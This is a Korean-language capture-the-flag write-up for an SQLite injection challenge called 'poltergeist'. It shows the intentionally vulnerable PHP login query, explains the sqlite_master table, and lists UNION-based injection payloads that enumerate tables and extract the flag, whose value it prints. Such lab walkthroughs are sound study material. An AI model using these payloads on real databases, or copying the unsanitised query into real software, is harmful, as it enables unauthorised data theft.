<?php
include "./config.php";
login_chk();
$db = sqlite_open("./db/poltergeist.db");
$query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
if($poltergeistFlag === $_GET['pw']) solve("poltergeist");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
highlight_file(__FILE__);
?>
1.
$query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
id=admin
으로 고정되어있으며, pw
가 쿼리문에 들어가있다.
2.
if($poltergeistFlag === $_GET['pw']) solve("poltergeist");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
$poltergeistFlag
= pw
일 때 성공적으로 출력할 수 있다고 한다.
$poltergeistFlag
은 member
테이블이 아닌 flag_{$hash}
에 저장되어 있다고 한다!
저번 zombie
문제와 비슷히기 때문에, SQLite의 테이블 정보에 대해 알아보자.
💙 SQLite 테이블
SQLite
에서 테이블 및 컬럼정보를 가져올 때, sqlite_master
테이블을 이용한다. sqlite_master
은 사용자가 수정할 수 없고, 읽기만 지원된다.
CREATE TABLE sqlite_master(
type text,
name text,
tbl_name text,
rootpage integer,
sql text
);
type
해당 데이터가 테이블 관련 정보/인덱스 관련 정보인지 등을 나타내며, 테이블을 생성하게 되면 table
이라는 데이터가 삽입된다.
name
해당 오브젝트의 이름을 의미한다.
tbl_name
table의 이름이며 테이블인 경우에는 name
과 tbl_name
이 같다.
인덱스 혹은 트리거같은 경우에는 해당 인덱스/트리거가 어떤 테이블을 대상으로 적용되었는지 나타낸다.
예를 들어, TEST_IDX_1
이라는 인덱스를 TEST_TABLE_1
에 걸어주었을 경우, name = TEST_IDX_1
, tbl_name = TEST_TABLE_1
이 저장된다.
rootpage
루트 b-tree 페이지의 번호를 나타낸다.
b-tree구조 등 더 자세한 SQLite
에 대한 내용은 다음 시간에 업로드하겠다.
sqlite_master
에서 테이블 정보를 가져올 때, name
또는 tbl_name
필드를 이용하면 된다. SELECT tbl_name FROM sqlite_master
SELECT sql FROM sqlite_master WHERE tbl_name='{테이블 이름}
MySQL
뿐만 아니라 SQLite
에서도 UNION
을 사용할 수 있다는 것을 알았다.
pw=' union select tbl_name from sqlite_master -- -
테이블 정보가 Hello flag_70c81d99
인 것을 알았다.
flag_{$hash}
에 저장되어 있다고 하니, flag_70c81d99
로 검색해보자.
pw=' union select sql from sqlite_master where tbl_name='flag_70c81d99'-- -
흠.. flag_0876285c
가 갑자기 등장해서 당황..이 플래그가 flag_70c81d99
테이블 안에 있다는 의미인 것 같다(?) 일단 flag_70c81d99
이 테이블 이름이니 컬럼으로 출력해보자.
pw=' union select sql from sqlite_master flag_70c81d99='flag_0876285c text'-- -
응~ 아니야 (심지어 where
도 안썻다;;) SQLite의 기본 구조를 다시 확인해보니
CREATE TABLE sqlite_master(
type text, -- -> flag_0876285c
name text,
tbl_name text, -- -> flag_70c81d99
rootpage integer,
sql text
);
이런식으로 구성되어 있는 것 같다.
pw=' union select flag_0876285c from flag_70c81d99 -- -
flag_70c81d99
안에 있는 flag_0876285c
의 데이터를 뽑아내라 라는 의미를 가지고 있기 때문에 플래그를 정상적으로 출력할 수 있었다.
pw=FLAG{ea5d3bbdcc4aec9abe4a6a9f66eaaa13}
🤔 파이썬 공부 다 끝내면, SQL에 대해 공부를 집중적으로 해봐야겠다.